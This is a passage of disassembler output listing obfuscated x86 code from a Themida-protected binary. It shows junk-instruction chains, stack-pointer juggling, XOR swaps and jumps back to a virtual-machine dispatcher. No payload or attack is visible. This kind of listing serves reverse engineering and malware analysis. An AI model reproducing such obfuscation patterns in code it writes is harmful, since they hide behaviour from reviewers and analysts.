		mov	[esp-18h+arg_12+2], ecx
		push	edx
		push	esi
		jmp	loc_59055E
; ---------------------------------------------------------------------------


loc_58EE11:				; CODE XREF: sub_584787+5BC8j
		mov	[esp+34h+var_34], eax
		mov	al, 28h
		xor	bl, al
		jmp	loc_58C5D2
; ---------------------------------------------------------------------------


loc_58EE1D:				; CODE XREF: sub_584787+1042j
		add	eax, 4
		xchg	eax, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		push	esi
		mov	esi, esp
		push	edx
		push	esi
		push	ecx
		mov	ecx, 5C694C05h
		jmp	loc_58DD00
; ---------------------------------------------------------------------------


loc_58EE36:				; CODE XREF: sub_584787+8F7Ej
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		jmp	loc_58FA55
; ---------------------------------------------------------------------------


loc_58EE45:				; CODE XREF: sub_584787+864Cj
		push	dword ptr [esp+4]
		pop	edi
		pop	[esp+4Ch+var_4E+2]
		jmp	loc_584C93
; ---------------------------------------------------------------------------


loc_58EE52:				; CODE XREF: sub_584787+4C61j
		add	ecx, 4
		xchg	ecx, [esp+16h+var_18+2]
		jmp	loc_585412
; ---------------------------------------------------------------------------


loc_58EE5D:				; CODE XREF: sub_584787+34Aj
		push	38h
		pop	ebx
		add	ebx, edi
		jmp	loc_58A7D6
; ---------------------------------------------------------------------------


loc_58EE6A:				; CODE XREF: sub_584787+350Fj
		push	eax
		mov	eax, esp
		jmp	loc_58AC9D
; ---------------------------------------------------------------------------


loc_58EE72:				; DATA XREF: Themida_:005842F8o
		mov	ax, word ptr [esp+40h+var_42+2]
		push	ebp
		mov	ebp, esp
		jmp	loc_58BACB
; ---------------------------------------------------------------------------


loc_58EE7E:				; CODE XREF: sub_584787+6ACCj
		pop	ecx
		mov	eax, edx
		pop	edx
		xor	eax, 52A8494Eh
		jmp	loc_58C050
; ---------------------------------------------------------------------------


loc_58EE8C:				; CODE XREF: sub_584787+760j
		pop	edx
		push	ebx
		push	small 0F59h
		mov	word ptr [esp+12h+var_14+2], cx
		mov	cl, 5Bh
		mov	bh, cl
		mov	cx, word ptr [esp+12h+var_14+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 2
		add	esi, edx
		pop	edx
		push	esi
		push	[esp+1Ah+var_18+2]
		pop	esi
		pop	[esp+1Ah+var_1C+2]
		pop	esp
		sub	al, 7
		add	al, bh
		add	al, 7
		push	[esp+12h+var_14+2]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5891DF
; ---------------------------------------------------------------------------


loc_58EED2:				; CODE XREF: sub_584787+30ECj
		mov	esp, [esp+34h+var_34]
		shr	eax, 8
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		xchg	edx, ebx
		push	eax
		jmp	loc_585B34
; ---------------------------------------------------------------------------


loc_58EEE8:				; CODE XREF: sub_584787+64F4j
		mov	[esp+0Eh+var_10+2], eax
		push	edx
		mov	edx, 2
		mov	eax, edx
		pop	edx
		sub	ebx, 147D1062h
		add	ebx, eax
		add	ebx, 147D1062h
		pop	eax
		xchg	ebx, [esp+0Ah+var_C+2]
		jmp	loc_58F91E
; ---------------------------------------------------------------------------


loc_58EF0B:				; CODE XREF: sub_584787+97ABj
		push	ecx
		mov	ecx, 59CE224Dh
		or	ecx, 398440C6h
		add	ecx, 0E507A02h
		sub	ecx, 75129284h
		mov	esi, ecx
		jmp	loc_589F4D
; ---------------------------------------------------------------------------


loc_58EF2A:				; CODE XREF: sub_584787+1659j
		add	ebp, edx
		pop	edx
		jmp	loc_58D2F7
; ---------------------------------------------------------------------------


loc_58EF32:				; CODE XREF: sub_584787+686Aj
		push	edx
		jmp	loc_58E641
; ---------------------------------------------------------------------------


loc_58EF38:				; CODE XREF: sub_584787+B484j
		push	ebp
		mov	ebp, 4C3C49E1h
		add	edx, 430604F7h
		sub	edx, ebp
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], edi
		jmp	loc_58D38C
; ---------------------------------------------------------------------------


loc_58EF54:				; CODE XREF: sub_584787+3F40j
		inc	ecx
		add	ecx, 0C1AB88ADh
		and	eax, ecx
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		or	edx, eax
		jmp	loc_58C324
; ---------------------------------------------------------------------------


loc_58EF6A:				; CODE XREF: sub_584787+2C9Ej
		push	dword ptr [edi+eax*4]
		push	[esp+0Eh+var_10+2]
		pop	eax
		push	ecx
		jmp	loc_58F37A
; ---------------------------------------------------------------------------


loc_58EF77:				; CODE XREF: sub_584787+6713j
		mov	ebx, 2CBF2026h
		push	edx
		mov	edx, 311F3D21h
		and	ebx, edx
		pop	edx
		xor	ebx, 91D2CA8h
		shr	ebx, 6
		sub	ebx, 57B913ECh
		or	ebx, 7A6B0A42h
		push	esi
		push	5984504Fh
		pop	esi
		add	ebx, esi
		pop	esi
		add	edi, ebx
		pop	ebx
		jmp	loc_58B718
; ---------------------------------------------------------------------------


loc_58EFAC:				; DATA XREF: Themida_:00584194o
		mov	cx, word ptr [esp-0Ch+arg_8]
		jmp	loc_58A147
; ---------------------------------------------------------------------------


loc_58EFB5:				; CODE XREF: sub_584787+5674j
		add	dh, al
		mov	eax, [esp+0]
		jmp	loc_58C47C
; ---------------------------------------------------------------------------


loc_58EFBF:				; CODE XREF: sub_584787+4F2Fj
		xchg	ecx, [esp+0Eh+var_10+2]
		pop	esp
		push	ecx
		mov	ecx, 4BC2665Bh
		add	[esp+0Eh+var_C+2], ecx
		pop	ecx
		add	[esp+0Ah+var_C+2], eax
		sub	[esp+0Ah+var_C+2], 4BC2665Bh
		add	[esp+0Ah+var_C+2], 750E25AFh
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58EFE4:				; CODE XREF: sub_584787+84F2j
		pop	ebp
		jmp	loc_58670F
; ---------------------------------------------------------------------------


loc_58EFEA:				; CODE XREF: sub_584787+2C3Aj
		push	ecx
		mov	ch, 61h
		sub	ch, 1Fh
		jmp	loc_58AC02
; ---------------------------------------------------------------------------


loc_58EFF5:				; CODE XREF: sub_584787+2469j
		mov	ebx, 36ED5C21h
		mov	ebp, ebx
		pop	ebx
		push	ebp
		pop	ecx
		mov	ebp, [esp+20h+var_20]
		add	esp, 4
		add	ebp, ecx
		jmp	loc_58F1FA
; ---------------------------------------------------------------------------


loc_58F00F:				; CODE XREF: sub_584787+BF8Bj
		push	eax
		jmp	loc_586A45
; ---------------------------------------------------------------------------


loc_58F015:				; CODE XREF: sub_584787+191Fj
		add	ebp, edx
		pop	edx
		push	edx
		mov	edx, 4
		sub	ebp, 35B12CC6h
		sub	ebp, edx
		push	ecx
		jmp	loc_58B46C
; ---------------------------------------------------------------------------


loc_58F02C:				; CODE XREF: sub_584787+20B9j
		mov	eax, [esp+18h+var_18]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58CCD8
; ---------------------------------------------------------------------------


loc_58F03D:				; CODE XREF: sub_584787+9B00j
		push	ebp
		mov	ebp, ecx
		jmp	loc_588D2A
; ---------------------------------------------------------------------------


loc_58F045:				; CODE XREF: sub_584787+1F51j
		mov	ah, 0BCh
		jmp	loc_58B93C
; ---------------------------------------------------------------------------


loc_58F04C:				; CODE XREF: sub_584787+B11Fj
		push	edx
		push	esp
		pop	edx
		jmp	loc_58970A
; ---------------------------------------------------------------------------


loc_58F054:				; CODE XREF: sub_584787+3E0Dj
		pop	ecx
		jmp	loc_58567E
; ---------------------------------------------------------------------------


loc_58F05A:				; CODE XREF: sub_584787+7C7Bj
		push	edi
		mov	edi, 5B9A7FA2h
		and	edi, 40C8565Ch
		inc	edi
		dec	edi
		push	edx
		jmp	loc_590499
; ---------------------------------------------------------------------------


loc_58F06E:				; CODE XREF: sub_584787+9EEFj
		mov	ch, 0CDh
		add	ch, bh
		jmp	loc_58ED16
; ---------------------------------------------------------------------------


loc_58F077:				; CODE XREF: sub_584787+9139j
		push	ebx
		mov	ebx, 751063CAh
		add	ebx, 5DA45816h
		jmp	loc_58EAA6
; ---------------------------------------------------------------------------


loc_58F088:				; CODE XREF: sub_584787+7654j
		shl	ebx, 8
		and	ebx, 0D9C1835h
		add	ebx, 0F37BE804h
		add	ecx, ebx
		pop	ebx
		xor	ecx, [esp+30h+var_30]
		jmp	loc_58CC28
; ---------------------------------------------------------------------------


loc_58F0A2:				; CODE XREF: sub_584787+D7Dj
		push	ecx
		mov	cl, bl
		mov	ah, cl
		jmp	loc_59074F
; ---------------------------------------------------------------------------


loc_58F0AC:				; CODE XREF: sub_584787+A3B5j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+2Eh+var_30+2]
		pop	esp
		add	edx, 54C51D17h
		add	edx, ebx
		sub	edx, 54C51D17h
		pop	ebx
		sub	edx, 2
		xchg	edx, [esp+26h+var_26]
		pop	esp
		mov	[esp+0], cx
		jmp	loc_58B0AF
; ---------------------------------------------------------------------------


loc_58F0DB:				; CODE XREF: sub_584787+BB6Ej
		mov	ebx, [esp+0]
		jmp	loc_588382
; ---------------------------------------------------------------------------


loc_58F0E3:				; CODE XREF: sub_584787+EE5j
		push	ecx
		mov	ecx, 36544DF9h
		sub	ecx, 36544DF5h
		add	edx, 1A612Eh
		add	edx, ecx
		push	ebx
		mov	ebx, 1A612Eh
		sub	edx, ebx
		pop	ebx
		pop	ecx
		xchg	edx, [esp-18h+arg_12+2]
		pop	esp
		push	[esp-1Ch+arg_18]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-18h+arg_12+2]
		pop	esp
		mov	[esp-1Ch+arg_18], esi
		mov	esi, esp
		push	ecx
		push	0DEB7B61h
		pop	ecx
		sub	ecx, 0D7D1067h
		add	ecx, 8597BAEh
		shr	ecx, 8
		shl	ecx, 8
		xor	ecx, 8C7E604h
		add	esi, ecx
		push	[esp-18h+arg_12+2]
		pop	ecx
		jmp	loc_58AE82
; ---------------------------------------------------------------------------


loc_58F148:				; CODE XREF: sub_584787+5732j
		add	bl, 0B5h
		pop	eax
		add	bl, 0AFh
		add	bl, al
		sub	bl, 0AFh
		push	2E3Bh
		mov	[esp+20h+var_20], edx
		push	5DE2h
		jmp	loc_58B288
; ---------------------------------------------------------------------------


loc_58F166:				; CODE XREF: sub_584787+20C1j
		push	edx
		jmp	loc_58518A
; ---------------------------------------------------------------------------


loc_58F16C:				; CODE XREF: sub_584787+BA54j
		sub	al, dh
		jmp	loc_58FDC6
; ---------------------------------------------------------------------------


loc_58F173:				; CODE XREF: sub_584787+4E0Fj
		xor	[esp-4+arg_0], ebx
		xor	ebx, [esp-4+arg_0]
		jmp	loc_58FBF8
; ---------------------------------------------------------------------------


loc_58F17E:				; CODE XREF: sub_584787+1F8Bj
		mov	[esp-0Ch+arg_8], edx
		push	ebx
		mov	ebx, 200D6678h
		mov	edx, 200D667Ch
		jmp	loc_5860A3
; ---------------------------------------------------------------------------


loc_58F191:				; CODE XREF: sub_584787+801Dj
		and	edi, 67015B8Eh
		push	edx
		mov	edx, 4BCE15DBh
		jmp	loc_58CCE6
; ---------------------------------------------------------------------------


loc_58F1A2:				; CODE XREF: sub_584787+5370j
		push	edx
		mov	edx, 356306D4h
		mov	esi, edx
		pop	edx
		inc	esi
		inc	esi
		push	ebx
		mov	ebx, 493C7698h
		not	ebx
		dec	ebx
		jmp	loc_58DB45
; ---------------------------------------------------------------------------


loc_58F1BB:				; CODE XREF: sub_584787+8B3Aj
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58F1C0:				; CODE XREF: sub_584787+49E3j
		and	edi, 7C3752F3h
		dec	edi
		jmp	loc_58809D
; ---------------------------------------------------------------------------


loc_58F1CC:				; CODE XREF: sub_584787+2C2Fj
		sub	eax, 4B4A497Fh
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		jmp	loc_58795F
; ---------------------------------------------------------------------------


loc_58F1DF:				; DATA XREF: Themida_:005843C4o
		pop	dword ptr [edx]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58F1E6:				; CODE XREF: sub_584787+2622j
		add	esi, 0DB544BAh
		jmp	loc_58B3C2
; ---------------------------------------------------------------------------


loc_58F1F1:				; CODE XREF: sub_584787+B28Fj
		mov	ebp, edx
		pop	edx
		dec	ebp
		jmp	loc_58D8CB
; ---------------------------------------------------------------------------


loc_58F1FA:				; CODE XREF: sub_584787+A883j
		pop	ecx
		xor	ebp, 0A5222EDBh
		add	esi, ebp
		pop	ebp
		add	esi, 4
		push	esi
		push	[esp+18h+var_14]
		jmp	loc_5902B6
; ---------------------------------------------------------------------------


loc_58F214:				; DATA XREF: Themida_:005842FCo
		push	[esp+1Ch+var_1C]
		jmp	loc_58A23E
; ---------------------------------------------------------------------------


loc_58F21C:				; CODE XREF: sub_584787+8320j
		sub	ebp, 46452BF1h
		pop	ebx
		xor	ebp, [esp+16h+var_18+2]
		xor	[esp+16h+var_18+2], ebp
		xor	ebp, [esp+16h+var_18+2]
		mov	esp, [esp+16h+var_18+2]
		mov	edx, [esp+16h+var_18+2]
		push	ecx
		mov	ecx, esp
		push	eax
		sub	esp, 4
		mov	[esp+0], edi
		push	6BC41169h
		pop	edi
		xchg	ebp, edi
		not	ebp
		xchg	ebp, edi
		jmp	loc_58EC78
; ---------------------------------------------------------------------------


loc_58F250:				; CODE XREF: sub_584787+5905j
		push	ecx
		mov	ch, bh
		push	eax
		jmp	loc_58E84D
; ---------------------------------------------------------------------------


loc_58F259:				; CODE XREF: sub_584787+67C3j
		push	4E65h
		mov	[esp+2Ah+var_2C+2], ebp
		mov	ebp, 6D455A06h
		push	esi
		mov	esi, 1B4C311Fh
		jmp	loc_58D272
; ---------------------------------------------------------------------------


loc_58F271:				; CODE XREF: sub_584787+9B77j
		add	ecx, 701229D7h
		not	ecx
		neg	ecx
		inc	ecx
		shr	ecx, 4
		jmp	loc_588E20
; ---------------------------------------------------------------------------


loc_58F284:				; CODE XREF: sub_584787+A1D0j
		push	ebp
		sub	esp, 4
		jmp	loc_58F960
; ---------------------------------------------------------------------------


loc_58F290:				; CODE XREF: sub_584787+2BB8j
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		add	ebx, 2
		xor	ebx, [esp+1Eh+var_20+2]
		xor	[esp+1Eh+var_20+2], ebx
		xor	ebx, [esp+1Eh+var_20+2]
		pop	esp
		inc	byte ptr [esp+1Ah+var_1C+2]
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58F2AD:				; CODE XREF: sub_584787+827Cj
		xor	eax, [esp+4+var_4]
		jmp	loc_5889E8
; ---------------------------------------------------------------------------


loc_58F2B5:				; CODE XREF: sub_584787+7862j
		pop	ebx
		xor	al, 37h
		xor	al, 0E3h
		jmp	loc_589D8A
; ---------------------------------------------------------------------------


loc_58F2BF:				; CODE XREF: sub_584787+8384j
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_58E34A
		push	5AB5h
		mov	[esp+12h+var_14+2], eax
		push	4B6Dh
		jmp	loc_5889AE
; ---------------------------------------------------------------------------


loc_58F2DC:				; CODE XREF: sub_584787+5F91j
		mov	edi, 1A881C04h
		jmp	loc_58752C
; ---------------------------------------------------------------------------


loc_58F2E6:				; CODE XREF: sub_584787+96A0j
		or	ah, 0E0h
		push	ecx
		mov	cl, 79h
		add	cl, 19h
		sub	ah, cl
		pop	ecx
		mov	ch, ah
		jmp	loc_589DBD
; ---------------------------------------------------------------------------


loc_58F2F9:				; CODE XREF: sub_584787+1382j
		not	byte ptr [esp+20h+var_20]
		pop	edx
		xchg	dl, ah
		xor	ah, 5Eh
		or	ah, 56h
		jmp	loc_58588E
; ---------------------------------------------------------------------------


loc_58F30A:				; CODE XREF: sub_584787+9D2Dj
		not	dx
		push	small 4D7Eh
		mov	word ptr [esp+1Eh+var_20+2], dx
		push	small word ptr [esp+1Eh+var_1C]
		mov	dx, word ptr [esp+20h+var_20]
		push	ebx
		mov	ebx, esp
		push	ecx
		jmp	loc_58E147
; ---------------------------------------------------------------------------


loc_58F327:				; CODE XREF: sub_584787+4AF3j
		mov	ecx, 4
		jmp	loc_584A5E
; ---------------------------------------------------------------------------


loc_58F331:				; CODE XREF: sub_584787+ADC5j
		pop	edi
		sub	eax, ebx
		jmp	loc_58FEA0
; ---------------------------------------------------------------------------


loc_58F339:				; CODE XREF: sub_584787+ABj
		add	bx, 3BA2h
		pop	ax
		jmp	loc_5852E0
; ---------------------------------------------------------------------------


loc_58F345:				; CODE XREF: sub_584787+2741j
		pop	esp
		mov	[esp+0Eh+var_10+2], edx
		jmp	loc_58E6A1
; ---------------------------------------------------------------------------


loc_58F34E:				; CODE XREF: sub_584787+32A6j
		add	esp, 4
		add	edi, esi
		pop	esi
		xor	edi, [esp-16h+arg_12]
		xor	[esp-16h+arg_12], edi
		xor	edi, [esp-16h+arg_12]
		mov	esp, [esp-16h+arg_12]
		mov	ax, word ptr [esp-16h+arg_12]
		sub	esp, 4
		jmp	loc_58E0AE
; ---------------------------------------------------------------------------


loc_58F372:				; CODE XREF: sub_584787+2B8Dj
		add	esi, 4
		jmp	loc_588736
; ---------------------------------------------------------------------------


loc_58F37A:				; CODE XREF: sub_584787+A7EBj
		push	esp
		mov	ecx, [esp+16h+var_18+2]
		jmp	loc_58D0D4
; ---------------------------------------------------------------------------


loc_58F383:				; CODE XREF: sub_584787+87C9j
		add	eax, ecx
		mov	ecx, [esp+0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_584BCB
; ---------------------------------------------------------------------------


loc_58F399:				; CODE XREF: sub_584787+20EDj
		mov	ecx, 1EDB4A08h
		mov	ebx, 1EDB4A0Ch
		sub	ebx, ecx
		jmp	loc_5897FB
; ---------------------------------------------------------------------------


loc_58F3AA:				; CODE XREF: sub_584787+A376j
		sub	edi, ecx
		pop	ecx
		pop	eax
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		movsx	ecx, al
		push	26Dh
		mov	[esp+4+var_4], ecx
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58F3C4:				; CODE XREF: sub_584787+5443j
		xor	[esp+2Ah+var_2C+2], ecx
		xor	ecx, [esp+2Ah+var_2C+2]
		pop	esp
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58F3D0:				; CODE XREF: sub_584787+9714j
		pop	edx
		xor	ebp, 2B5D1747h
		jmp	loc_5862B7
; ---------------------------------------------------------------------------


loc_58F3DC:				; CODE XREF: sub_584787+7BA2j
		push	ebx
		jmp	loc_59064F
; ---------------------------------------------------------------------------


loc_58F3E2:				; CODE XREF: sub_584787+10Dj
		push	1698h
		mov	[esp+24h+var_26+2], ecx
		jmp	loc_58F93D
; ---------------------------------------------------------------------------


loc_58F3EF:				; CODE XREF: sub_584787+39Dj
		shr	eax, 8
		xor	eax, 0C5E8581h
		sub	eax, 35390D72h
		jmp	loc_588669
; ---------------------------------------------------------------------------


loc_58F401:				; CODE XREF: sub_584787+F13j
		pop	esi
		pop	[esp-0Ch+arg_8]
		pop	esp
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58F40B:				; CODE XREF: sub_584787+AEF6j
		xor	ch, 8
		shr	ch, 5
		shl	ch, 1
		add	ch, 0F3h
		add	dh, ch
		jmp	loc_58537F
; ---------------------------------------------------------------------------


loc_58F41D:				; CODE XREF: sub_584787+803Dj
		mov	esp, [esp-8+arg_4]
		push	[esp-8+arg_4]
		jmp	loc_586DEA
; ---------------------------------------------------------------------------


loc_58F428:				; CODE XREF: sub_584787+2A84j
		mov	edx, esp
		jmp	loc_58F4C3
; ---------------------------------------------------------------------------


loc_58F42F:				; CODE XREF: sub_584787+7EB3j
		pop	eax
		push	edi
		push	ebx
		mov	ebx, 61B14697h
		not	ebx
		neg	ebx
		and	ebx, 6F875163h
		neg	ebx
		xor	ebx, 91AEAA23h
		mov	edi, ebx
		pop	ebx
		jmp	loc_58D81D
sub_584787	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_58F451:				; CODE XREF: sub_584787+7671j
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_586ED2
; ---------------------------------------------------------------------------


loc_58F464:				; CODE XREF: sub_584787+7F54j
		add	eax, 77645282h
		pop	esi
		xchg	eax, [esp+46h+var_46]
		pop	esp
		bswap	eax
		jmp	loc_58D693
; END OF FUNCTION CHUNK	FOR sub_584787
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F8C1


loc_58F475:				; CODE XREF: sub_58F8C1+1j
		pop	eax
		mov	ebp, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		push	edx
		jmp	loc_589DD4
; END OF FUNCTION CHUNK	FOR sub_58F8C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_58F48A:				; CODE XREF: sub_584787+6B3Cj
		push	79E3h
		mov	[esp-8+arg_4], edi
		mov	edi, 4
		jmp	loc_58905F
; ---------------------------------------------------------------------------


loc_58F49C:				; CODE XREF: sub_584787+24CFj
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], eax
		xor	eax, [esp-0Ch+arg_8]
		pop	esp
		mov	[esp+0], esi
		push	ecx
		push	4ACB1324h
		mov	ecx, [esp-8+arg_4]
		jmp	loc_58C9AA
; ---------------------------------------------------------------------------


loc_58F4C3:				; CODE XREF: sub_584787+ACA3j
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+4+var_4]
		xor	[esp+4+var_4], edx
		jmp	loc_58C16A
; ---------------------------------------------------------------------------


loc_58F4D7:				; CODE XREF: sub_584787+4222j
		mov	[esp+8+var_8], esi
		push	[esp+8+var_4]
		pop	esi
		pop	[esp+8+var_8]
		jmp	loc_58804A
; ---------------------------------------------------------------------------


loc_58F4E7:				; CODE XREF: sub_584787+52ACj
		add	edi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 2
		jmp	loc_58F56D
; END OF FUNCTION CHUNK	FOR sub_584787

; =============== S U B	R O U T	I N E =======================================



sub_58F4F5	proc near		; CODE XREF: sub_584787+8A33j
		push	ebx
		mov	ebx, 884233Ah
		inc	ebx
		add	ebx, 600916A6h
		and	ecx, ebx
		pop	ebx
		jmp	loc_589DE0
sub_58F4F5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_58F50A:				; CODE XREF: sub_584787+6B68j
		mov	edx, [esp+0]
		jmp	loc_58A354
; END OF FUNCTION CHUNK	FOR sub_584787
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5900B2


loc_58F512:				; CODE XREF: sub_5900B2+12j
		mov	[esp+0Ch+var_C], edx
		mov	edx, 4
		mov	ecx, edx
		pop	edx
		add	esi, ecx
		jmp	loc_587F2F
; END OF FUNCTION CHUNK	FOR sub_5900B2
; ---------------------------------------------------------------------------


loc_58F524:				; DATA XREF: Themida_:00584294o
		mov	ax, [esp]
		jmp	loc_586399
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_58F52D:				; CODE XREF: sub_584787+7F9Aj
		sub	ebp, esi
		pop	esi
		pop	ecx
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_589F7D
; ---------------------------------------------------------------------------


loc_58F53B:				; CODE XREF: sub_584787+68Fj
		mov	esi, 4
		add	ebp, esi
		jmp	loc_58F86E
; ---------------------------------------------------------------------------


loc_58F547:				; CODE XREF: sub_584787+4559j
		add	eax, 54A94210h
		jmp	loc_58F331
; ---------------------------------------------------------------------------


loc_58F551:				; CODE XREF: sub_584787+A0C1j
		add	bx, ax
		pop	ax
		pop	edx
		sub	bx, 2D51h
		sub	bx, ax
		push	bp
		mov	bp, 2D51h
		add	bx, bp
		jmp	loc_587CDD
; ---------------------------------------------------------------------------


loc_58F56D:				; CODE XREF: sub_584787+AD69j
		add	edi, 1C9C437Ch
		add	edi, ecx
		sub	edi, 1C9C437Ch
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		xor	edi, [esp-8+arg_4]
		jmp	loc_58C23B
; ---------------------------------------------------------------------------


loc_58F58C:				; CODE XREF: sub_584787+BCC6j
		sub	dl, 0FFh
		push	ebx
		jmp	loc_590101
; END OF FUNCTION CHUNK	FOR sub_584787
; ---------------------------------------------------------------------------


loc_58F595:				; DATA XREF: Themida_:00584398o
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	25C1h
		mov	[esp], esi
		push	ebx
		jmp	loc_58DCD1

; =============== S U B	R O U T	I N E =======================================



sub_58F5B0	proc near		; CODE XREF: sub_584787+B0F1j

var_4		= dword	ptr -4

		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		jmp	loc_58919C
sub_58F5B0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_58F5C1:				; CODE XREF: sub_584787+6AB9j
		shl	edi, 8
		neg	edi
		add	edi, 0BD616660h
		mov	ebx, edi
		jmp	loc_59015C
; ---------------------------------------------------------------------------


loc_58F5D3:				; CODE XREF: sub_584787-203j
		mov	ebp, [esp+0]
		jmp	loc_5889B6
; ---------------------------------------------------------------------------


loc_58F5DB:				; CODE XREF: sub_584787+2A9Cj
		xor	ebp, 78FB22A7h
		push	ebx
		mov	ebx, 75F28D2h
		xor	ebp, ebx
		pop	ebx
		sub	edi, ebp
		pop	ebp
		pop	ebx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	sub_5903F6
; ---------------------------------------------------------------------------


loc_58F5F9:				; CODE XREF: sub_584787-5Aj
		add	edi, 66216165h
		push	eax
		mov	eax, 4911E4EBh
		sub	edi, eax
		pop	eax
		xor	esi, edi
		pop	edi
		add	ebx, 5B466E1Fh
		sub	ebx, esi
		sub	ebx, 5B466E1Fh
		pop	esi
		xor	eax, ebx
		mov	ebx, [esp-0Ch+arg_8]
		jmp	loc_58D7AB
; ---------------------------------------------------------------------------


loc_58F624:				; CODE XREF: sub_584787+667Fj
		mov	[esp-4+arg_0], esp
		add	[esp-4+arg_0], 4
		jmp	loc_58BC2E
; ---------------------------------------------------------------------------


loc_58F633:				; CODE XREF: sub_584787+113Bj
		push	dword ptr [esp+4]
		jmp	loc_58C7F0
; ---------------------------------------------------------------------------


loc_58F63C:				; CODE XREF: sub_584787+6A90j
		xor	ch, byte ptr [esp+2Ah+var_2C+2]
		xor	byte ptr [esp+2Ah+var_2C+2], ch
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58F647:				; CODE XREF: sub_584787+BB3Fj
		mov	ecx, 0D17157Ah
		and	ecx, 5FB06126h
		sub	ecx, 0D10011Eh
		jmp	loc_588811
; END OF FUNCTION CHUNK	FOR sub_584787
; ---------------------------------------------------------------------------


loc_58F65D:				; DATA XREF: Themida_:005841E4o
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		push	ebp
		jmp	loc_5885C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_58F66A:				; CODE XREF: sub_584787+1936j
		add	bl, 61h
		add	bl, al
		sub	bl, 61h
		push	edx
		jmp	loc_5870B9
; ---------------------------------------------------------------------------


loc_58F678:				; CODE XREF: sub_584787+11F9j
		mov	dh, 2Eh
		push	ecx
		mov	ch, 68h
		jmp	loc_58F40B
; ---------------------------------------------------------------------------


loc_58F682:				; CODE XREF: sub_584787-298j
		mov	ecx, ebp
		pop	ebp
		add	edx, 3BF714Ah
		add	edx, ecx
		sub	edx, 3BF714Ah
		pop	ecx
		push	4D3h
		jmp	loc_58A471
; ---------------------------------------------------------------------------


loc_58F69E:				; CODE XREF: sub_584787+7D27j
		mov	cl, 24h
		shl	cl, 4
		neg	cl
		push	eax
		mov	ah, 0BCh
		and	ah, 50h
		xor	ah, 87h
		shr	ah, 4
		jmp	loc_58A21C
; ---------------------------------------------------------------------------


loc_58F6B6:				; CODE XREF: sub_584787-E8j
		add	esp, 4
		jmp	loc_58C19A
; ---------------------------------------------------------------------------


loc_58F6C1:				; CODE XREF: sub_584787+59CCj
		push	edx
		push	esp
		push	[esp+2Ah+var_2C+2]
		mov	edx, [esp+2Eh+var_30+2]
		add	esp, 4
		add	esp, 4
		jmp	loc_5867F6
; ---------------------------------------------------------------------------


loc_58F6DA:				; CODE XREF: sub_584787+9FD5j
		push	2049h
		mov	[esp+10h+var_10], ebp
		jmp	loc_58885C
; ---------------------------------------------------------------------------


loc_58F6E7:				; CODE XREF: sub_584787+95EFj
		push	2A2Bh
		jmp	loc_58B2BE
; END OF FUNCTION CHUNK	FOR sub_584787

; =============== S U B	R O U T	I N E =======================================



sub_58F6F1	proc near		; CODE XREF: sub_584787+3014j

; FUNCTION CHUNK AT 00590119 SIZE 0000000C BYTES

		push	ebx
		mov	bl, cl
		jmp	loc_590119
sub_58F6F1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_58F6F9:				; CODE XREF: sub_584787+6B7Ej
		mov	ecx, ebp
		mov	ebp, [esp-8+arg_4]
		add	esp, 4
		sub	ebp, ecx
		pop	ecx
		add	ebp, edx
		add	ebp, 6DB30435h
		jmp	loc_58DAD2
; ---------------------------------------------------------------------------


loc_58F711:				; CODE XREF: sub_584787+B32Bj
		shr	ebx, 6
		sub	ebx, 3D78328h
		sub	ecx, ebx
		pop	ebx
		jmp	loc_588803
; ---------------------------------------------------------------------------


loc_58F722:				; CODE XREF: sub_584787+2478j
		add	edx, 786B36AEh
